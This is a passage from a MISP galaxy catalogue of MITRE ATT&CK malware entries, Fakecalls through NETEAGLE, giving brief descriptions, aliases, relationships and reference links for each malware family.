[Fakecalls](https://attack.mitre.org/software/S1080) is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.(Citation: kaspersky_fakecalls_0422)

The tag is: *misp-galaxy:mitre-malware="Fakecalls - S1080"*

Fakecalls - S1080 is also known as:

- Fakecalls

Table 11048. Table References

Links
https://attack.mitre.org/software/S1080
https://www.kaspersky.com/blog/fakecalls-banking-trojan/44072/

Sykipot - S0018

[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

The tag is: *misp-galaxy:mitre-malware="Sykipot - S0018"*

Sykipot - S0018 is also known as:

- Sykipot

Table 11049. Table References

Links
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
https://attack.mitre.org/software/S0018
https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards

Volgmer - S0180

[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Volgmer - S0180"*

Volgmer - S0180 is also known as:

- Volgmer

View relationships graph

Volgmer - S0180 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

Table 11050. Table References

Links
https://attack.mitre.org/software/S0180
https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF

NightClub - S1090

[NightClub](https://attack.mitre.org/software/S1090) is a modular implant written in C++ that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2014.(Citation: MoustachedBouncer ESET August 2023)

The tag is: *misp-galaxy:mitre-malware="NightClub - S1090"*

NightClub - S1090 is also known as:

- NightClub

Table 11051. Table References

Links
https://attack.mitre.org/software/S1090
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

Epic - S0091

[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: *misp-galaxy:mitre-malware="Epic - S0091"*

Epic - S0091 is also known as:

- Epic
- Tavdig
- Wipbot
- WorldCupSec
- TadjMakhal

View relationships graph

Epic - S0091 has relationships with:

- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"

Table 11052. Table References

Links
https://attack.mitre.org/software/S0091
https://securelist.com/the-epic-turla-operation/65545/

Regin - S0019

[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)

The tag is: *misp-galaxy:mitre-malware="Regin - S0019"*

Regin - S0019 is also known as:

- Regin

View relationships graph

Regin - S0019 has relationships with:

- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 11053. Table References

Links
https://attack.mitre.org/software/S0019

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

Chaos - S0220

[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)

The tag is: *misp-galaxy:mitre-malware="Chaos - S0220"*

Chaos - S0220 is also known as:

- Chaos

Table 11054. Table References

Links
http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/
https://attack.mitre.org/software/S0220

Uroburos - S0022

[Uroburos](https://attack.mitre.org/software/S0022) is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the [Turla](https://attack.mitre.org/groups/G0010) toolset to collect intelligence on sensitive targets worldwide. [Uroburos](https://attack.mitre.org/software/S0022) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://attack.mitre.org/software/S0022) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://attack.mitre.org/software/S0022) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)(Citation: Kaspersky Turla)

The tag is: *misp-galaxy:mitre-malware="Uroburos - S0022"*

Uroburos - S0022 is also known as:

- Uroburos
- Snake

View relationships graph

Uroburos - S0022 has relationships with:

- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"

Table 11055. Table References

Links
https://attack.mitre.org/software/S0022
https://securelist.com/the-epic-turla-operation/65545/
https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf

adbupd - S0202

[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="adbupd - S0202"*

adbupd - S0202 is also known as:

- adbupd

Table 11056. Table References

Links
https://attack.mitre.org/software/S0202
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

CHOPSTICK - S0023

[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).

The tag is: *misp-galaxy:mitre-malware="CHOPSTICK - S0023"*

CHOPSTICK - S0023 is also known as:

- CHOPSTICK
- Backdoor.SofacyX
- SPLM

- Xagent
- X-Agent
- webhp

View relationships graph

CHOPSTICK - S0023 has relationships with:

- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 11057. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/software/S0023
https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf
https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

DroidJack - S0320

[DroidJack](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games. (Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)

The tag is: *misp-galaxy:mitre-malware="DroidJack - S0320"*

DroidJack - S0320 is also known as:

- DroidJack

Table 11058. Table References

Links
https://attack.mitre.org/software/S0320
https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app
https://www.zscaler.com/blogs/security-research/super-mario-run-malware-2-droidjack-rat

Hydraq - S0203

[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)

The tag is: *misp-galaxy:mitre-malware="Hydraq - S0203"*

Hydraq - S0203 is also known as:

- Hydraq
- Roarur
- MdmBot
- HomeUnix
- Homux
- HidraQ
- HydraQ
- McRat
- Aurora
- 9002 RAT

View relationships graph

Hydraq - S0203 has relationships with:

- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"

Table 11059. Table References

Links
https://attack.mitre.org/software/S0203
https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

https://web.archive.org/web/20190221032148/http://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://web.archive.org/web/20200302085651/https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.symantec.com/connect/blogs/trojanhydraq-incident

ZeroT - S0230

[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)

The tag is: *misp-galaxy:mitre-malware="ZeroT - S0230"*

ZeroT - S0230 is also known as:

- ZeroT

View relationships graph

ZeroT - S0230 has relationships with:

- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"

Table 11060. Table References

Links
https://attack.mitre.org/software/S0230
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

Twitoor - S0302

[Twitoor](https://attack.mitre.org/software/S0302) is a dropper application capable of receiving commands from social media.(Citation: ESET-Twitoor)

The tag is: *misp-galaxy:mitre-malware="Twitoor - S0302"*

Twitoor - S0302 is also known as:

- Twitoor

Table 11061. Table References

Links
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/
https://attack.mitre.org/software/S0302

Get2 - S0460

[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)

The tag is: *misp-galaxy:mitre-malware="Get2 - S0460"*

Get2 - S0460 is also known as:

- Get2

Table 11062. Table References

Links
https://attack.mitre.org/software/S0460
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

LOWBALL - S0042

[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-malware="LOWBALL - S0042"*

LOWBALL - S0042 is also known as:

- LOWBALL

Table 11063. Table References

Links
https://attack.mitre.org/software/S0042
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

ROKRAT - S0240

[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)

The tag is: *misp-galaxy:mitre-malware="ROKRAT - S0240"*

ROKRAT - S0240 is also known as:

- ROKRAT

Table 11064. Table References

Links
https://attack.mitre.org/software/S0240
https://blog.talosintelligence.com/2017/04/introducing-rokrat.html
https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/

Briba - S0204

[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)

The tag is: *misp-galaxy:mitre-malware="Briba - S0204"*

Briba - S0204 is also known as:

- Briba

Table 11065. Table References

Links
https://attack.mitre.org/software/S0204
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99

Dvmap - S0420

[Dvmap](https://attack.mitre.org/software/S0420) is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.(Citation: SecureList DVMap June 2017)

The tag is: *misp-galaxy:mitre-malware="Dvmap - S0420"*

Dvmap - S0420 is also known as:

- Dvmap

Table 11066. Table References

Links
https://attack.mitre.org/software/S0420
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

Dyre - S0024

[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial gain. (Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)

The tag is: *misp-galaxy:mitre-malware="Dyre - S0024"*

Dyre - S0024 is also known as:

- Dyre
- Dyzap
- Dyreza

View relationships graph

Dyre - S0024 has relationships with:

- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 11067. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf
https://attack.mitre.org/software/S0024
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/

CALENDAR - S0025

[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="CALENDAR - S0025"*

CALENDAR - S0025 is also known as:

- CALENDAR

View relationships graph

CALENDAR - S0025 has relationships with:

- similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"

Table 11068. Table References

Links
https://attack.mitre.org/software/S0025
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

BLINDINGCAN - S0520

[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)

The tag is: *misp-galaxy:mitre-malware="BLINDINGCAN - S0520"*

BLINDINGCAN - S0520 is also known as:

- BLINDINGCAN

Table 11069. Table References

Links
https://attack.mitre.org/software/S0520
https://digital.nhs.uk/cyber-alerts/2020/cc-3603
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a

OnionDuke - S0052

[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="OnionDuke - S0052"*

OnionDuke - S0052 is also known as:

- OnionDuke

View relationships graph

OnionDuke - S0052 has relationships with:

- similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"

Table 11070. Table References

Links
https://attack.mitre.org/software/S0052
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Drovorub - S0502

[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007).(Citation: NSA/FBI Drovorub August 2020)

The tag is: *misp-galaxy:mitre-malware="Drovorub - S0502"*

Drovorub - S0502 is also known as:

- Drovorub

Table 11071. Table References

Links
https://attack.mitre.org/software/S0502
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

Naid - S0205

[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)

The tag is: *misp-galaxy:mitre-malware="Naid - S0205"*

Naid - S0205 is also known as:

- Naid

View relationships graph

Naid - S0205 has relationships with:

- similar: misp-galaxy:tool="Trojan.Naid" with estimative-language:likelihood-probability="likely"

Table 11072. Table References

Links
https://attack.mitre.org/software/S0205
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99

GLOOXMAIL - S0026

[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="GLOOXMAIL - S0026"*

GLOOXMAIL - S0026 is also known as:

- GLOOXMAIL
- Trojan.GTALK

View relationships graph

GLOOXMAIL - S0026 has relationships with:

- similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"

Table 11073. Table References

Links
https://attack.mitre.org/software/S0026
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Circles - S0602

[Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company's infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.(Citation: CitizenLab Circles)

The tag is: *misp-galaxy:mitre-malware="Circles - S0602"*

Circles - S0602 is also known as:

- Circles

Table 11074. Table References

Links
https://attack.mitre.org/software/S0602
https://citizenlab.ca/2020/12/running-in-circles-uncovering-the-clients-of-cyberespionage-firm-circles/

DustySky - S0062

[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)

The tag is: *misp-galaxy:mitre-malware="DustySky - S0062"*

DustySky - S0062 is also known as:

- DustySky
- NeD Worm

View relationships graph

DustySky - S0062 has relationships with:

- similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"

Table 11075. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://attack.mitre.org/software/S0062
https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf

InvisiMole - S0260

[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to

download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)

The tag is: *misp-galaxy:mitre-malware="InvisiMole - S0260"*

InvisiMole - S0260 is also known as:

- InvisiMole

Table 11076. Table References

Links
https://attack.mitre.org/software/S0260
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Wiarp - S0206

[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)

The tag is: *misp-galaxy:mitre-malware="Wiarp - S0206"*

Wiarp - S0206 is also known as:

- Wiarp

Table 11077. Table References

Links
https://attack.mitre.org/software/S0206
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99

OwaAuth - S0072

[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="OwaAuth - S0072"*

OwaAuth - S0072 is also known as:

- OwaAuth

Table 11078. Table References

Links
https://attack.mitre.org/software/S0072
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

RogueRobin - S0270

[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)

The tag is: *misp-galaxy:mitre-malware="RogueRobin - S0270"*

RogueRobin - S0270 is also known as:

- RogueRobin

Table 11079. Table References

Links
https://attack.mitre.org/software/S0270
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Vasport - S0207

[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)

The tag is: *misp-galaxy:mitre-malware="Vasport - S0207"*

Vasport - S0207 is also known as:

- Vasport

Table 11080. Table References

Links
https://attack.mitre.org/software/S0207
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99

Zeroaccess - S0027

[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)

The tag is: *misp-galaxy:mitre-malware="Zeroaccess - S0027"*

Table 11081. Table References

Links
https://attack.mitre.org/software/S0027
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

SHIPSHAPE - S0028

[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="SHIPSHAPE - S0028"*

SHIPSHAPE - S0028 is also known as:

- SHIPSHAPE

Table 11082. Table References

Links
https://attack.mitre.org/software/S0028
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

Emissary - S0082

[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio.(Citation: Lotus Blossom Dec 2015)

The tag is: *misp-galaxy:mitre-malware="Emissary - S0082"*

Emissary - S0082 is also known as:

- Emissary

Table 11083. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/
https://attack.mitre.org/software/S0082

MirageFox - S0280

[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)

The tag is: *misp-galaxy:mitre-malware="MirageFox - S0280"*

MirageFox - S0280 is also known as:

- MirageFox

Table 11084. Table References

Links
https://attack.mitre.org/software/S0280
https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Pasam - S0208

[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)

The tag is: *misp-galaxy:mitre-malware="Pasam - S0208"*

Pasam - S0208 is also known as:

- Pasam

Table 11085. Table References

Links
https://attack.mitre.org/software/S0208
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99

Darkmoon - S0209

The tag is: *misp-galaxy:mitre-malware="Darkmoon - S0209"*

Darkmoon - S0209 is also known as:

- Darkmoon

View relationships graph

Darkmoon - S0209 has relationships with:

- similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"

Table 11086. Table References

Links
https://attack.mitre.org/software/S0209

Gooligan - S0290

[Gooligan](https://attack.mitre.org/software/S0290) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. [Gooligan](https://attack.mitre.org/software/S0290) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)

The tag is: *misp-galaxy:mitre-malware="Gooligan - S0290"*

Gooligan - S0290 is also known as:

- Gooligan
- Ghost Push

Table 11087. Table References

Links
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/
https://attack.mitre.org/software/S0290
https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/
https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi

MazarBOT - S0303

[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)

The tag is: *misp-galaxy:mitre-malware="MazarBOT - S0303"*

Table 11088. Table References

Links
https://attack.mitre.org/software/S0303
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/

NetTraveler - S0033

[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)

The tag is: *misp-galaxy:mitre-malware="NetTraveler - S0033"*

NetTraveler - S0033 is also known as:

- NetTraveler

View relationships graph

NetTraveler - S0033 has relationships with:

- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 11089. Table References

Links
https://attack.mitre.org/software/S0033
https://web.archive.org/web/20160326004042/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf

BUBBLEWRAP - S0043

[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-malware="BUBBLEWRAP - S0043"*

BUBBLEWRAP - S0043 is also known as:

- BUBBLEWRAP

- Backdoor.APT.FakeWinHTTPHelper

Table 11090. Table References

Links
https://attack.mitre.org/software/S0043
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

NETEAGLE - S0034

[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="NETEAGLE - S0034"*

